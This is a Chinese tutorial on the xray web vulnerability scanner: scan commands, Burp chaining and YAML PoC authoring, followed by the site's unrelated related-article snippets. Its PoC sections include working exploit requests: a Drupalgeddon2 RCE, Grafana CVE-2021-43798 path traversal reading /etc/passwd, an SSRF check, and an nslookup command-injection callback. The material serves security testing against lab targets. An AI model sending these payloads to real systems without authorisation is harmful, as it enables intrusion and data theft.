xray API漏洞检测

news/2024/4/26 9:36:19/文章来源:https://blog.csdn.net/leiwuhen92/article/details/129200923

一、介绍

一款功能强大的安全评估工具。
国内长亭科技研发,xray 并不开源
目前支持的漏洞检测类型包括:
  • XSS漏洞检测 (key: xss)
  • SQL 注入检测 (key: sqldet)
  • 命令/代码注入检测 (key: cmd-injection)
  • 目录枚举 (key: dirscan)
  • 路径穿越检测 (key: path-traversal)
  • XML 实体注入检测 (key: xxe)
  • 文件上传检测 (key: upload)
  • 弱口令检测 (key: brute-force)
  •  jsonp 检测 (key: jsonp)
  • ssrf 检测 (key: ssrf)
  • 基线检查 (key: baseline)
  • 任意跳转检测 (key: redirect)
  • CRLF 注入 (key: crlf-injection)
  • Struts2 系列漏洞检测 (高级版,key: struts)
  • Thinkphp系列漏洞检测 (高级版,key: thinkphp)
  • XStream 系列漏洞检测 (key: xstream)
  • POC 框架 (key: phantasm)

二、基础使用方法

1、查看版本号
./xray_linux_amd64 version
  
2、使用使用 xray 基础爬虫模式进行漏洞扫描
./xray_linux_amd64 webscan --log-level debug --basic-crawler Home of Acunetix Art --html-output xray-crawler-testphp.html
3、使用http代理进行被动扫描
./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html
通过插件FoxyProxy设置浏览器 http 代理为 http://127.0.0.1:7777,就可以自动分析代理流量并扫描。
4、手动指定本次运行的插件
默认情况下,将会启用所有内置插件,可以使用下列命令指定本次扫描启用的插件。
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
5、指定插件输出
可以指定将本次扫描的漏洞信息输出到某个文件中:
xray webscan --url Example Domain \
--text-output result.txt --json-output result.json --html-output report.html
报告样例: XRay Report

三、代理模式

四、联动

Xray常用使用命令_樱浅沐冰的博客-CSDN博客_xray命令
xray与burp联动:
浏览器配置xray的的127.0.0.1:7777,xray配置burpsuite的127.0.0.1:8080
另一种方式,可以让我们用burpsuite选择性的给xray扫描:
浏览器配置burpsuite的127.0.0.1:8080,burpsuite配置xray的127.0.0.1:7777

五、poc编写

xray对POC扫描的流程如下:
    POC模块收到用户的一个请求后,开始对这个目标进行漏洞扫描。根据rule中的method、path、headers、body、follow_redirects键值,替换原始数据包中的对应信息。替换后的数据包被发送,并获得返回包。再执行expression表达式,表达式结果作为该条rule的结果;同时,通过search指定的正则表达式,可以从返回包body中提取一些信息,作为下一个rule或detail中可以被引用的内容。最后将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。
注意点:

5.1、poc结构

v2版本(推荐使用) - xray 安全评估工具文档
一个最基础v2版本的POC如下:
name: poc-yaml-example-com
# 脚本部分
transport: http
rules:r1:request:method: GETpath: "/"expression: |response.status==200 && response.body_string.contains("Example Domain")
expression:r1()
# 信息部分
detail:author: name(link)links:- http://example.com
整个POC是一个键值对,其包含3个键:
  • name: string   # 是POC的名字,用一个英文字母、数字和短横线进行表示,如poc-yaml-thinkphp523-rce。
  • rules: []Rule  # 一个由规则(Rule)组成的列表。
  • detail: map[string]string  # 主要是用来声明该脚本的一些信息,包括输出内容。

5.2、传输方式(transport)

该字段用于指定发送数据包的协议。  transport: string
目前transport的取值有:
  • tcp
  • udp
  • http

5.3、全局变量定义(set)

该字段用于定义全局变量。比如随机数,反连平台等。    set: map[string]interface{}
形如:
set:a: 1

5.4、全局变量载荷(payload)

该字段用于定义多个 payload,来实现发送不同 payload 的效果。 该字段结构如下:
 
形如:
payloads:continue: falsepayloads:ping:cmd: r"ping test.com"curl:cmd: r"curl test.com"
1. 只支持罗列 payload, 目前不考虑支持文件或者复杂排列组合等情况,每个 payload 中的 key 必须严格一致

5.5、编写rule

该字段定义了一些具名的 rule。 rules: map[string]Rule 形如:
transport: http
rules:r1:# 此处为一个 http request 的例子request:cache: truemethod: GETpath: "/"headers:Content-Type: application/xmlbody: aaaafollow_redirects: trueread_timeout: "10"expression: |response.status==200 && response.body_string.contains("Example Domain")# 相比于 V1 版本新增output:search: |r'(?P<version>1.1.1)'.bsubmatch(response.raw)'version: search['version']
其中 rule 的结构又可以分为 3 部分:
  • request:构造请求相关参数
  • expression:判断该条 Rule 的结果
  • output:声明一些变量,用于后续使用
Rule就是我们POC的灵魂,在YAML中一个Rule是一个键值对,其包含如下键:
  • cache: bool 是否使用缓存的请求,如果该选项为 true,那么如果在一次探测中其它脚本对相同目标发送过相同请求,那么便使用之前缓存的响应,而不发新的数据包;
  • method: string 请求方法
  • path: string 请求的完整 Path,包括 querystring 等 ;详情见xray 安全评估工具文档
  • headers: map[string]string 请求 HTTP 头,Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
  • body: string 请求的Body
  • follow_redirects: bool 是否允许跟随300跳转,在请求方法为gethead的时候,默认为true,其他方法默认为false
  • read_timeout: string 发送请求之后的读取超时时间,不填写时默认为0,为0时,超时时间将使用全局配置。
  • expression: string 该字段定义这条rule的最终执行的一个结果。
  • output: []string 该字段定义了这条 rule 运行完成之后的一些变量,该字段定义的变量会被添加到全局变量,类似于 set。

5.6、编写expression

expression表达式是Rule的灵魂。
xray使用了编译性语言Golang,所以为了实现动态执行一些规则,我们使用了Common Expression Language (CEL)表达式( google/cel-spec: Common Expression Language -- specification and binary representation (github.com)
  
expression表达式上下文包含的变量暂时只有如下三个:
  • status int,返回包的status code;
  • body []byte,返回包的Body,因为是一个字节流(bytes)而非字符串,后面判断的时候需要使用字节流相关的方法;
  • content_types tring,返回包的content-type头的值;
  • headers map[string]string,返回包的HTTP头,是一个键值对(均为小写),可以通过headers['server']来获取值。如果键不存在,则获取到的值是空字符串。
函数名函数原型说明:
  • contains func (s1 string) contains(s2 string) bool,判断s1是否包含s2,返回bool类型结果。
  • bcontains func (b1 bytes) bcontains(b2 bytes) bool,判断一个b1是否包含b2,返回bool类型结果。与contains不同的是,bcontains是字节流(bytes)的查找。
  • matches func (s1 string) matches(s2 string) bool,使用正则表达式s1来匹配s2,返回bool类型匹配结果。
  • bmatches func (s1 string) bmatches(b1 bytes) bool,使用正则表达式s1来匹配b1,返回bool类型匹配结果。与matches不同的是,bmatches匹配的是字节流(bytes)。
  • startsWith func (s1 string) startsWith(s2 string) bool,判断s1是否由s2开头。
  • endsWith func (s1 string) endsWith(s2 string) bool,判断s1是否由s2结尾。
值得注意的是,类似于python,CEL中的字符串可以有转义和前缀,如:
  • '\r\n' 表示换行
  • r'\r\n' 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。
  • b'test' 一个字节流(bytes),在golang中即为[]byte
  
用一些简单的例子来覆盖大部分我们可能用到的表达式:
  • response.body.bcontains(b"test") 返回包body包含test,因为body是一个bytes类型的变量,所以我们需要使用bcontains方法,且其参数也是bytes;
  • response.body_string.contains("test") 但此处我们更推荐这样的写法来匹配test,这会解决一些编码问题;
  • response.body_string.contains(r1 + "some value" + r2) r1、r2是 randomLowercase 的变量,这里动态的判断 body 的内容; 
  • response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02') 返回包的content-type包含“application/octet-stream”,且body中包含0x000102这段二进制串;
  • response.content_type.contains('zip') && r'^PK\x03\x04'.bmatches(response.body) 这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type包含关键字“zip”,且body匹配上正则r’^PK\x03\x04’(就是zip的文件头)。因为startsWith方法只支持字符串的判断,所以这里没有使用。
  • response.status >= 300 && response.status < 400   返回包的status code在300~400之间;
  • (response.status >= 500 && response.status != 502) || "<input value=\"(.+?)\"".matches(response.body_string) 返回包status code大于等于500且不等于502,或者Body包含表单;
  • response.headers['location']=="https://www.example.com" headers 中 Location 等于指定值,如果 Location 不存在,该表达式返回 false;   
  • 'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0')  headers 中包含 docker-distribution-api-version 并且 value 包含指定字符串,如果不判断 in,后续的 contains 会出错。
  • response.body_string.contains(response.url.path) body 中包含 url 的 path;  
expression表达式返回的必须是一个bool类型的结果,这个结果作为整个Rule的值。

5.7、如何编写借助反连平台的POC

反连平台是测试一些无法回显漏洞的方法,如SSRF、命令执行等,如何在编写POC的时候,借助反连平台来探测漏洞。
可以在path、headers、body中注入一些变量,与反连平台相关的变量如下
  • {{reverse_url}} 反连平台的url
  • {{reverse_domain}} 反连平台的domain
  • {{reverse_ip}} 反连平台的IP
在测试SSRF漏洞的过程中,我们可以直接在请求中注入{{reverse_url}},这个变量就会被替换成反连平台的URL发送:
path: /request?url={{reverse_url}}
此时,如果目标网站存在SSRF漏洞,就会访问我们反连平台的URL,进而我们接收到信息,检测出漏洞
那么,有时候目标网站无法发送HTTP请求,我们亦可用DNS请求来判断漏洞。如,目标网站存在命令执行漏洞,我们可以通过执行nslookup命令来请求我们反连平台的DNS服务器,如:
path: /execute
body: |
  param=`nslookup%20{{reverse_domain}}%20{{reverse_ip}}`
此时我们使用{{reverse_domain}}和{{reverse_ip}}变量,前者会被替换成反连平台的域名,后者替换成反连平台IP,此时nslookup会向{{reverse_ip}}发送一个包含{{reverse_domain}}的DNS请求,此时反连平台即将收到消息,并成功记录下漏洞。
接着,我们需要在表达式expression中,来判断反连平台的状态,此时我们使用上下文中的waitReverse函数:
func waitReverse(timeout int) bool
waitReverse将会等待timeout秒,在这个时间内,如果反连平台收到消息,则返回true,否则一直阻塞,直到超时时间,如果超时时间到后仍然未收到消息,则该函数返回false。
所以,一个完整的SSRF POC示例如下:
name: example-ssrf-poc
rules:- method: GETpath: /request?url={{reverse_url}}expression: |status == 200 && waitReverse(5)
如果5秒内,反连平台收到符合要求的请求,则waitReverse(5)返回true,整个expression返回true,漏洞存在;如果status不是200或5秒内反连平台没有收到请求,则waitReverse(5)返回false,漏洞不存在。

5.8、POC编写辅助工具

5.8.1、v1版本在线编写POC

    地址:XRay POC 编写辅助工具
    编写后点击生成然后复制到本地测试即可
name: poc-yaml-drupal-drupalgeddon2-rce
rules:- method: POSTpath: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=test%25%25test"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Passwordsearch: |name="form_build_id"\s+value="(.+?)"expression: |status==200- method: POSTpath: "/?q=file%2Fajax%2Fname%2F%23value%2F{{1}}"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_build_id={{1}}expression: |body.bcontains(b'test%test')
detail:drupal_version: 7
该POC分为两个Rule,第一个发送一个POST包,将我们需要的Payload注入缓存中,同时,利用search字段提取缓存ID;第二个数据包,将前面提取的缓存ID{{1}},拼接到body中,触发代码执行漏洞,并使用body.bcontains(b'test%test')来判断是否成功执行。

5.8.2、v1版本在线编写POC

GitHub - jweny/pocassist: 全新的漏洞测试框架,支持poc在线编辑、运行、批量测试。使用文档:
pocassist是一个 Go (Golang) 编写的全新的开源漏洞测试框架,实现对poc的在线编辑、管理、测试
如果使用公共漏洞库,请先下载,并在 config.yaml 中配置。公共漏洞库默认登录账号密码为 admin / admin2。
如何调试POC?

六、漏洞 CVE-2021-43798编写

第三期: 漏洞编写实例 - xray 安全评估工具文档

6.1、环境准备

靶机:192.168.11.135
下载vulhub:git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
进入目录:cd ./vulhub-master/grafana/CVE-2021-43798/
启动环境:docker-compose up -d
访问:http://192.168.11.135:3000

6.2、漏洞复现

此处将直接使用vulhub的描述来进行测试
可以看到只要对搭建好的环境进行如下内容的发包,即可看到etc/passwd的内容:

6.3、编写POC

grafana-cve-2021-43798-unauth-fileread-test-1.yml
​name: poc-yaml-grafana-cve-2021-43798-unauth-fileread-test-1
manual: true
transport: http
payloads:payloads:alertlistl:file: |"etc/passwd"plugin: |"alertlist"re: |"root:.*?:[0-9]*:[0-9]*:"annolistl:file: |"etc/passwd"plugin: |"annolist"re: |"root:.*?:[0-9]*:[0-9]*:"grafana-azure-monitor-datasourcel:file: |"etc/passwd"plugin: |"grafana-azure-monitor-datasource"re: |"root:.*?:[0-9]*:[0-9]*:"
rules:detect:request:cache: falsemethod: GETpath: /follow_redirects: trueexpression: |response.status == 200 && "window.grafana[b|B]oot[d|D]ata\\s*=\\s*{".matches(response.body_string) || response.body_string.contains("Sometimes restarting grafana-server can help")r0:request:cache: truemethod: GETpath: /public/plugins/{{plugin}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{{file}}expression: |response.status == 200 && re.matches(response.body_string)
expression: |r0()
detail:author: testlinks:- https://github.com/vulhub/vulhub/blob/master/grafana/CVE-2021-43798/README.zh-cn.md
对poc进行格式检测
需要安装yamllint:apt-get install yamllint   Quickstart — yamllint 1.29.0 documentation

6.4、测试POC

执行:./xray_linux_amd64 --log-level debug webscan  --plugins phantasm --poc ./mypocs/grafana-cve-2021-43798-unauth-fileread-test-1.yml --listen 127.0.0.1:1111 --html-output grafana.html
浏览器访问:http://192.168.11.135:3000/

6.5、HTTP PATH 的使用

 xray 安全评估工具文档
1. 如果 path 是以 / 开头的, 取 dir 路径拼接
2. 如果 path 是以 ^ 开头的, uri 直接取该路径
3. 支持变量渲染
​# target: http://example.com:8080/test/test
name: poc-yaml-http-path-test
manual: false
transport: http
set:# /test/testinputPath: request.url.path
rules:r0:request:cache: truemethod: GET# target: http://example.com:8080/test/a# 如果以 / 开头,取的传入 url 的 dir path 拼接的(考虑到 /admin 是一个单独站点这种情况)path: /aexpression: "true"output:r0Url: request.url.pathr1:request:cache: truemethod: GET# target: http://example.com:8080/test/test/b# 如果以 ^ 开头,取 path 作为请求路径path: '^{{inputPath}}/b'expression: "true"r2:request:cache: truemethod: GET# target: http://example.com:8080/c# 如果以 ^ 开头,取 path 作为请求路径path: ^/cexpression: "true"r3:request:cache: truemethod: GET# target: http://example.com:8080/test/a/d# 如果不以 / 开头,取 path 作为请求路径path: '^{{r0Url}}/d'expression: "true"
expression: r0() && r1() && r2() && r3()
detail:author: yywing

七、参考

GitHub - chaitin/xray: 一款完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档

xray 安全评估工具文档

POC编写模版 - xray 安全评估工具文档

第三期: 漏洞编写实例 - xray 安全评估工具文档

xray 教学视频 课程1_哔哩哔哩_bilibili 简介

xray 教学视频 课程2_哔哩哔哩_bilibili 基础用法

xray 教学视频 课程3_哔哩哔哩_bilibili 高级用法

xray 教学视频 课程4_哔哩哔哩_bilibili xray与burpsuite联动

xray 教学视频 课程5_哔哩哔哩_bilibili 编写自定义poc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_73947.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】进程间通信(无名/有名管道及System V共享内存)

目录 一、通信的相关概念 二、管道&#xff08;半双工&#xff09; 1、管道的概念 三、匿名管道&#xff08;fork实现&#xff0c;用于父子及血缘关系进程间通信&#xff09; 1、匿名管道的使用 2、匿名管道的读写情况 3、管道的特征 4、基于匿名管道的进程池 四、命名…

【华为OD机试模拟题】用 C++ 实现 - 密室逃生游戏(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

独家 | 6个Python数据科学库正在狂飙,你一定要学来提升文化素养

作者&#xff1a;Bex T翻译&#xff1a;wwl 校对&#xff1a;张睿毅本文约3200字&#xff0c;建议阅读8分钟 计算类数据科学库&#xff0c;已经不再局限在Pandas、NumPy、Scikit-learn之内了&#xff01;动机2023年的开始&#xff0c;自然需要探索数据科学和机器学习的新趋势。…

【华为OD机试模拟题】用 C++ 实现 - 分积木(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

Web Spider Ast-Hook 浏览器内存漫游-数据检索

文章目录一、资源下载二、通过npm安装anyproxy模块三、anyproxy的介绍以及基本使用1. anyproxy的功能介绍2. anyproxy的基本使用四、给浏览器挂代理五、实操极验demo案例总结提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、资源下载 Github&#x…

【华为OD机试模拟题】用 C++ 实现 - 符合条件的子串长度(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

【华为OD机试模拟题】用 C++ 实现 - 矩阵最值(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

【华为OD机试模拟题】用 C++ 实现 - 找数字(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

MIND——Modality independent neighbourhood descriptor 模态无关邻域描述符

参考&#xff1a;https://blog.mbedded.ninja/programming/signal-processing/image-processing/image-registration/modality-independent-neighbourhood-descriptor-mind/《MIND: Modality independent neighbourhood descriptor for multi-modal deformable registration》论…

Elasticsearch7.8.0版本进阶——文档分析 分析器

目录一、文档分析过程二、分析器三、内置分析器3.1、标准分析器3.2、简单分析器3.3、空格分析器3.4、语言分析器四、分析器使用场景五、分析器的测试示例一、文档分析过程 将一块文本分成适合于倒排索引的独立的词条。将这些词条统一化为标准格式以提高它们的“可搜索性”&…

JDBC-

文章目录JDBC1&#xff0c;JDBC概述1.1 JDBC概念1.2 JDBC本质1.3 JDBC好处2&#xff0c;JDBC快速入门2.1 编写代码步骤2.2 具体操作3&#xff0c;JDBC API详解3.1 DriverManager3.2 Connection &#xff08;事务归我管&#xff09;3.2.1 获取执行对象3.2.2 事务管理3.3 Stateme…

12.STM32系统定时器-SysTick

目录 1.系统定时器-SysTick 2.SysTick定时时间的计算 3.SysTick结构体 4.SysTick固件库函数 5.SysTick中断优先级 1.系统定时器-SysTick SysTick:24位系统定时器&#xff0c;只能递减&#xff0c;存在于内核嵌套在NVIC中。所有的Cortex-M中都有这个系统定时器。 重装载值…

interrupt多线程设计模式

1. 两阶段终止-interrupt Two Phase Termination 在一个线程T1中如何“优雅”终止线程T2&#xff1f;这里的【优雅】指的是给T2一个料理后事的机会。 错误思路 ● 使用线程对象的stop()方法停止线程&#xff08;强制杀死&#xff09; —— stop&#xff08;&#xff09;方法…

会声会影2023电脑版下载及系统配置要求

平时大家可能会经常听到有人说会声会影&#xff0c;但是很多人都不知道这是什么软件。其实听它的名字就知道这是一款和声音、影像有关系的软件。下面&#xff0c;小编就来给大家具体介绍一下这款软件吧。 会声会影是一套操作简单的DV、HDV影片剪辑软件。会声会影不仅完全符合家…

农业科技发展所带来的好处:提高农作物产量,提高农民收入

农业科技发展所带来的好处&#xff1a;&#xff1a;&#xff08;1&#xff09;育种技术&#xff1a;通过育种技术&#xff0c;科学家可以在农作物基因中挑选和改变一些特定的性状&#xff0c;例如增加产量、改善耐旱性和抗病性等等&#xff0c;从而提高农作物产量。&#xff08…

el-cascader 级联选择器懒加载的使用及回显 + 点击任意一级都能返回

需要实现的需求 数据渲染使用懒加载点击任意一级都可返回&#xff0c;不需要一直点到最后一级编辑或者查看功能&#xff0c;回显之前选择的数据 实例解析 dom 元素 <el-cascaderv-model"value":options"options":props"props":key"n…

Linux内核段页式内存管理技术

一、概述 1.虚拟地址空间 内存是通过指针寻址的&#xff0c;因而CPU的字长决定了CPU所能管理的地址空间的大小&#xff0c;该地址空间就被称为虚拟地址空间&#xff0c;因此32位CPU的虚拟地址空间大小为4G&#xff0c;这和实际的物理内存数量无关。 Linux内核将虚拟地址空间分…

五种IO模型以及select多路转接IO模型

目录 一、典型IO模型 1.1 阻塞IO 1.2 非阻塞IO 1.3 信号驱动I0 1.4 IO多路转接 1.5 异步IO 多路转接的作用和意义 二、多路转接IO模型&#xff08;select&#xff09; 2.1 接口 2.2 接口当中的事件集合&#xff1a; fd_set 2.2 select使用事件集合&#xff08;位图&am…

174万亿采购,奔向数字化

采购不单纯发生在外部&#xff0c;更发生在内部&#xff0c;只有两者同时进行&#xff0c;才能完成采购中心从成本到利润中心角色的转变。 作者|斗斗 编辑|皮爷 出品|产业家 数字化&#xff0c;让很多企业业务流程发生了质变。 《2022数字化采购发展报告》显示&#x…

破解票房之谜:为何高票房电影绕不过“猫眼们”?

如此火爆的春节档很多&#xff0c;如此毁誉参半的春节档鲜有。2023开年&#xff0c;集齐张艺谋、沈腾的《满江红》&#xff0c;以及有票房前作打底的《流浪地球2》接连两部春节档电影票房进入前十&#xff0c;为有些颓靡的中国电影市场注入了一针“强心剂”。与票房同样热闹起来…